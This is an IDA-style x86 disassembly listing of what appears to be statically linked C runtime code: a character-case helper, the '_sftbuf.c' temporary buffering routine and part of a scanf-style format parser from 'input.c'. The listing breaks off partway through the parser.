		mov	[ebp+var_4], 0


loc_424930:				; CODE XREF: sub_4248D0+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424970
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_424951
		push	13h
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_42495C
; ---------------------------------------------------------------------------


loc_424951:				; CODE XREF: sub_4248D0+73j
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement


loc_42495C:				; CODE XREF: sub_4248D0+7Fj
		mov	eax, [ebp+arg_0]


loc_42495F:				; CODE XREF: sub_4248D0+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_4248D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424970	proc near		; CODE XREF: sub_4248D0+64p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4EF974, 0
		jnz	short loc_42499C
		cmp	[ebp+arg_0], 61h
		jl	short loc_424994
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_424994
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_424994:				; CODE XREF: sub_424970+13j
					; sub_424970+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_424A97
; ---------------------------------------------------------------------------


loc_42499C:				; CODE XREF: sub_424970+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_4249E3
		cmp	dword_4516A8, 1
		jle	short loc_4249C1
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_4249D5
; ---------------------------------------------------------------------------


loc_4249C1:				; CODE XREF: sub_424970+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 2
		mov	[ebp+var_10], ecx


loc_4249D5:				; CODE XREF: sub_424970+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_4249E3
		mov	eax, [ebp+arg_0]
		jmp	loc_424A97
; ---------------------------------------------------------------------------


loc_4249E3:				; CODE XREF: sub_424970+33j
					; sub_424970+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_424A2C
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_424A3D
; ---------------------------------------------------------------------------


loc_424A2C:				; CODE XREF: sub_424970+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_424A3D:				; CODE XREF: sub_424970+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	200h
		mov	edx, dword_4EF974
		push	edx
		call	sub_429750
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_424A71
		mov	eax, [ebp+arg_0]
		jmp	short loc_424A97
; ---------------------------------------------------------------------------


loc_424A71:				; CODE XREF: sub_424970+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_424A81
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_424A97
; ---------------------------------------------------------------------------


loc_424A81:				; CODE XREF: sub_424970+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_424A97:				; CODE XREF: sub_424970+27j
					; sub_424970+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_424970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424AA0	proc near		; CODE XREF: sub_41C1C0+79p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_424AA9:				; CODE XREF: sub_424AA0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_424ACD
		push	offset dword_437514
		push	0
		push	41h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_424ACD
		int	3		; Trap to Debugger


loc_424ACD:				; CODE XREF: sub_424AA0+Dj
					; sub_424AA0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_424AA9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		call	sub_42C930
		add	esp, 4
		test	eax, eax
		jnz	short loc_424AF3
		xor	eax, eax
		jmp	loc_424BF0
; ---------------------------------------------------------------------------


loc_424AF3:				; CODE XREF: sub_424AA0+4Aj
		cmp	[ebp+var_4], offset dword_451148
		jnz	short loc_424B05
		mov	[ebp+var_8], 0
		jmp	short loc_424B1E
; ---------------------------------------------------------------------------


loc_424B05:				; CODE XREF: sub_424AA0+5Aj
		cmp	[ebp+var_4], offset dword_451168
		jnz	short loc_424B17
		mov	[ebp+var_8], 1
		jmp	short loc_424B1E
; ---------------------------------------------------------------------------


loc_424B17:				; CODE XREF: sub_424AA0+6Cj
		xor	eax, eax
		jmp	loc_424BF0
; ---------------------------------------------------------------------------


loc_424B1E:				; CODE XREF: sub_424AA0+63j
					; sub_424AA0+75j
		mov	ecx, dword_4EF8EC
		add	ecx, 1
		mov	dword_4EF8EC, ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jz	short loc_424B43
		xor	eax, eax
		jmp	loc_424BF0
; ---------------------------------------------------------------------------


loc_424B43:				; CODE XREF: sub_424AA0+9Aj
		mov	ecx, [ebp+var_8]
		cmp	dword_4EF964[ecx*4], 0
		jnz	short loc_424BAA
		push	5Eh
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		push	1000h
		call	sub_418EF0
		add	esp, 10h
		mov	edx, [ebp+var_8]
		mov	dword_4EF964[edx*4], eax
		mov	eax, [ebp+var_8]
		cmp	dword_4EF964[eax*4], 0
		jnz	short loc_424BAA
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 2
		jmp	short loc_424BD9
; ---------------------------------------------------------------------------


loc_424BAA:				; CODE XREF: sub_424AA0+AEj
					; sub_424AA0+DBj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4EF964[eax*4]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 1000h


loc_424BD9:				; CODE XREF: sub_424AA0+108j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 1102h
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	eax, 1


loc_424BF0:				; CODE XREF: sub_424AA0+4Ej
					; sub_424AA0+79j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424C00	proc near		; CODE XREF: sub_41C1C0+A3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_424C07:				; CODE XREF: sub_424C00+38j
		cmp	[ebp+arg_0], 0
		jz	short loc_424C34
		cmp	[ebp+arg_0], 1
		jz	short loc_424C34
		push	offset aFlag0Flag1 ; "flag == 0	|| flag	== 1"
		push	0
		push	0A1h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_424C34
		int	3		; Trap to Debugger


loc_424C34:				; CODE XREF: sub_424C00+Bj
					; sub_424C00+11j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_424C07
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_424C8D
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_424C8D
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41F7E0
		add	esp, 4
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	ah, 0EEh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0


loc_424C8D:				; CODE XREF: sub_424C00+44j
					; sub_424C00+53j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424CA0	proc near		; CODE XREF: sub_41CC10+A2p

var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= byte ptr -1F0h
var_1EF		= byte ptr -1EFh
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= byte ptr -1D0h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_55		= byte ptr -55h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 224h
		push	ebx
		push	esi
		push	edi


loc_424CAC:				; CODE XREF: sub_424CA0+37j
		cmp	[ebp+arg_4], 0
		jnz	short loc_424CD3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	109h
		push	offset aInput_c	; "input.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_424CD3
		int	3		; Trap to Debugger


loc_424CD3:				; CODE XREF: sub_424CA0+10j
					; sub_424CA0+30j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_424CAC


loc_424CD9:				; CODE XREF: sub_424CA0+64j
		cmp	[ebp+arg_0], 0
		jnz	short loc_424D00
		push	offset dword_437504
		push	0
		push	10Ch
		push	offset aInput_c	; "input.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_424D00
		int	3		; Trap to Debugger


loc_424D00:				; CODE XREF: sub_424CA0+3Dj
					; sub_424CA0+5Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_424CD9
		mov	[ebp+var_28], 0
		movsx	edx, [ebp+var_28]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		mov	[ebp+var_34], eax


loc_424D17:				; CODE XREF: sub_424CA0:loc_425F85j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	loc_425F8A
		cmp	dword_4516A8, 1
		jle	short loc_424D49
		push	8
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_1F8], eax
		jmp	short loc_424D65
; ---------------------------------------------------------------------------


loc_424D49:				; CODE XREF: sub_424CA0+8Dj
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_1F8], edx


loc_424D65:				; CODE XREF: sub_424CA0+A7j
		cmp	[ebp+var_1F8], 0
		jz	short loc_424DB3
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_426160
		add	esp, 8
		push	eax
		call	sub_426140
		add	esp, 8


loc_424D94:				; CODE XREF: sub_424CA0+111j
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_41E200
		add	esp, 4
		test	eax, eax
		jz	short loc_424DB3
		jmp	short loc_424D94
; ---------------------------------------------------------------------------


loc_424DB3:				; CODE XREF: sub_424CA0+CCj
					; sub_424CA0+10Fj
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	loc_425E6E
		mov	[ebp+var_40], 0
		mov	byte ptr [ebp+var_8], 0
		mov	[ebp+var_6C], 0
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_1E8], eax
		mov	ecx, [ebp+var_1E8]
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_10], 0
		mov	dl, [ebp+var_10]
		mov	[ebp+var_68], dl
		mov	al, [ebp+var_68]
		mov	[ebp+var_70], al
		mov	cl, [ebp+var_70]
		mov	[ebp+var_18], cl
		mov	dl, [ebp+var_18]
		mov	[ebp+var_64], dl
		mov	[ebp+var_14], 0
		mov	[ebp+var_38], 1
		mov	[ebp+var_1DC], 0


loc_424E15:				; CODE XREF: sub_424CA0:loc_424F6Dj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_424F72
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_C], eax
		cmp	dword_4516A8, 1
		jle	short loc_424E59
		push	4
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_1FC], eax
		jmp	short loc_424E76
; ---------------------------------------------------------------------------


loc_424E59:				; CODE XREF: sub_424CA0+19Bj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_1FC], ecx


loc_424E76:				; CODE XREF: sub_424CA0+1B7j
		cmp	[ebp+var_1FC], 0
		jz	short loc_424EA6
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		lea	edx, [ecx+eax*4]
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+edx*2-30h]
		mov	[ebp+var_1C], ecx
		jmp	loc_424F6D
; ---------------------------------------------------------------------------


loc_424EA6:				; CODE XREF: sub_424CA0+1DDj
		mov	edx, [ebp+var_C]
		mov	[ebp+var_200], edx
		mov	eax, [ebp+var_200]
		sub	eax, 2Ah
		mov	[ebp+var_200], eax
		cmp	[ebp+var_200], 4Dh
		ja	loc_424F65
		mov	edx, [ebp+var_200]
		xor	ecx, ecx
		mov	cl, byte_425FE8[edx]
		jmp	off_425FC8[ecx*4]


loc_424EE0:				; DATA XREF: .nsp0:00425FCCo
		jmp	loc_424F6D
; ---------------------------------------------------------------------------


loc_424EE5:				; CODE XREF: sub_424CA0+239j
					; DATA XREF: .nsp0:00425FD8o
		mov	al, [ebp+var_38]
		sub	al, 1
		mov	[ebp+var_38], al
		mov	cl, [ebp+var_14]
		sub	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_424F6D
; ---------------------------------------------------------------------------


loc_424EF8:				; CODE XREF: sub_424CA0+239j
					; DATA XREF: .nsp0:00425FD0o
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	eax, 36h
		jnz	short loc_424F3A
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+2]
		cmp	edx, 34h
		jnz	short loc_424F3A
		mov	eax, [ebp+arg_4]
		add	eax, 2
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_1DC]
		add	ecx, 1
		mov	[ebp+var_1DC], ecx
		mov	[ebp+var_30], 0
		mov	[ebp+var_2C], 0
		jmp	short loc_424F6D
; ---------------------------------------------------------------------------


loc_424F3A:				; CODE XREF: sub_424CA0+263j
					; sub_424CA0+270j
		jmp	short loc_424F65
; ---------------------------------------------------------------------------


loc_424F3C:				; CODE XREF: sub_424CA0+239j
					; DATA XREF: .nsp0:00425FD4o
		mov	dl, [ebp+var_38]
		add	dl, 1
		mov	[ebp+var_38], dl
		jmp	short loc_424F6D
; ---------------------------------------------------------------------------


loc_424F47:				; CODE XREF: sub_424CA0+239j
					; DATA XREF: .nsp0:00425FDCo
		mov	al, [ebp+var_38]
		add	al, 1
		mov	[ebp+var_38], al


loc_424F4F:				; CODE XREF: sub_424CA0+239j
					; DATA XREF: .nsp0:00425FE0o
		mov	cl, [ebp+var_14]
		add	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_424F6D
; ---------------------------------------------------------------------------


loc_424F5A:				; CODE XREF: sub_424CA0+239j
					; DATA XREF: .nsp0:off_425FC8o
		mov	dl, [ebp+var_70]
		add	dl, 1
		mov	[ebp+var_70], dl
		jmp	short loc_424F6D
; ---------------------------------------------------------------------------


loc_424F65:				; CODE XREF: sub_424CA0+225j
					; sub_424CA0+239j ...
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_424F6D:				; CODE XREF: sub_424CA0+201j
					; sub_424CA0:loc_424EE0j ...
		jmp	loc_424E15
; ---------------------------------------------------------------------------


loc_424F72:				; CODE XREF: sub_424CA0+17Bj
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_424F95
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1D4], edx
		mov	eax, [ebp+arg_8]
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-4]
		mov	[ebp+var_3C], edx


loc_424F95:				; CODE XREF: sub_424CA0+2D8j
		mov	[ebp+var_18], 0
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_424FCC
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 53h
		jz	short loc_424FB9
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	ecx, 43h
		jnz	short loc_424FC4


loc_424FB9:				; CODE XREF: sub_424CA0+30Bj
		mov	dl, [ebp+var_14]
		add	dl, 1
		mov	[ebp+var_14], dl
		jmp	short loc_424FCC
; ---------------------------------------------------------------------------


loc_424FC4:				; CODE XREF: sub_424CA0+317j
		mov	al, [ebp+var_14]
		sub	al, 1
		mov	[ebp+var_14], al


loc_424FCC:				; CODE XREF: sub_424CA0+2FFj
					; sub_424CA0+322j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		or	edx, 20h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 6Eh
		jz	short loc_42501E
		cmp	[ebp+var_C], 63h
		jz	short loc_425003
		cmp	[ebp+var_C], 7Bh
		jz	short loc_425003
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		call	sub_426160
		add	esp, 8
		mov	[ebp+var_1D8], eax
		jmp	short loc_42501E
; ---------------------------------------------------------------------------


loc_425003:				; CODE XREF: sub_424CA0+343j
					; sub_424CA0+349j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42501E:				; CODE XREF: sub_424CA0+33Dj
					; sub_424CA0+361j
		cmp	[ebp+var_1E8], 0
		jz	short loc_425031
		cmp	[ebp+var_1C], 0
		jz	loc_425E3F


loc_425031:				; CODE XREF: sub_424CA0+385j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_204], ecx
		mov	edx, [ebp+var_204]
		sub	edx, 63h
		mov	[ebp+var_204], edx
		cmp	[ebp+var_204], 18h
		ja	loc_425DEA
		mov	ecx, [ebp+var_204]
		xor	eax, eax
		mov	al, byte_42605E[ecx]
		jmp	off_426036[eax*4]


loc_42506B:				; DATA XREF: .nsp0:off_426036o
		cmp	[ebp+var_1E8], 0
		jnz	short loc_42508C
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax


loc_42508C:				; CODE XREF: sub_424CA0+3D2j
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_42509D
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_42509D:				; CODE XREF: sub_424CA0+3F2j
		mov	[ebp+var_1E0], offset dword_451928
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_425120
; ---------------------------------------------------------------------------


loc_4250B1:				; CODE XREF: sub_424CA0+3C4j
					; DATA XREF: .nsp0:0042604Eo
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_4250C2
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_4250C2:				; CODE XREF: sub_424CA0+417j
		mov	[ebp+var_1E0], offset dword_451920
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_425120
; ---------------------------------------------------------------------------


loc_4250D6:				; CODE XREF: sub_424CA0+3C4j
					; DATA XREF: .nsp0:00426056o
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_4250E7
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_4250E7:				; CODE XREF: sub_424CA0+43Cj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Eh
		jnz	short loc_425120
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	dl, [ebp+var_10]
		sub	dl, 1
		mov	[ebp+var_10], dl


loc_425120:				; CODE XREF: sub_424CA0+40Fj
					; sub_424CA0+434j ...
		push	20h
		push	0
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_42515C
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jnz	short loc_42515C
		mov	byte ptr [ebp+var_8], 5Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		mov	[ebp+var_55], 20h


loc_42515C:				; CODE XREF: sub_424CA0+494j
					; sub_424CA0+4A3j ...
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jz	loc_4252C7
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		cmp	eax, 2Dh
		jnz	short loc_4251B8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4251B8
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Dh
		jnz	short loc_4251FE


loc_4251B8:				; CODE XREF: sub_424CA0+4FAj
					; sub_424CA0+507j
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_60]
		or	cl, al
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	[ebp+edx+var_60], cl
		jmp	loc_4252C2
; ---------------------------------------------------------------------------


loc_4251FE:				; CODE XREF: sub_424CA0+516j
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		cmp	eax, ecx
		jge	short loc_42523E
		mov	dl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_24], dl
		jmp	short loc_42524D
; ---------------------------------------------------------------------------


loc_42523E:				; CODE XREF: sub_424CA0+591j
		mov	al, byte ptr [ebp+var_8]


loc_425241:				; DATA XREF: .nsp0:off_44F398o
		mov	byte ptr [ebp+var_24], al


loc_425244:				; DATA XREF: .nsp0:00451FB4o
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl


loc_42524D:				; CODE XREF: sub_424CA0+59Cj
		mov	dl, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_1EC],	dl
		jmp	short loc_425266
; ---------------------------------------------------------------------------


loc_425258:				; CODE XREF: sub_424CA0+61Cj
		mov	al, byte ptr [ebp+var_1EC]
		add	al, 1
		mov	byte ptr [ebp+var_1EC],	al


loc_425266:				; CODE XREF: sub_424CA0+5B6j
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		mov	edx, [ebp+var_24]
		and	edx, 0FFh
		cmp	ecx, edx
		jg	short loc_4252BE
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		sar	eax, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		mov	al, [ebp+eax+var_60]
		or	al, dl
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		sar	ecx, 3
		mov	[ebp+ecx+var_60], al
		jmp	short loc_425258
; ---------------------------------------------------------------------------


loc_4252BE:				; CODE XREF: sub_424CA0+5DDj
		mov	byte ptr [ebp+var_8], 0


loc_4252C2:				; CODE XREF: sub_424CA0+559j
		jmp	loc_42515C
; ---------------------------------------------------------------------------


loc_4252C7:				; CODE XREF: sub_424CA0+4C9j
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jnz	short loc_4252DA
		jmp	loc_425F8A
; ---------------------------------------------------------------------------


loc_4252DA:				; CODE XREF: sub_424CA0+633j
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_4252E9
		mov	ecx, [ebp+var_1E0]
		mov	[ebp+arg_4], ecx


loc_4252E9:				; CODE XREF: sub_424CA0+63Ej
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_1E4], edx
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_426140
		add	esp, 8


loc_42530E:				; CODE XREF: sub_424CA0:loc_425450j
		cmp	[ebp+var_1E8], 0
		jz	short loc_42532B
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_425455


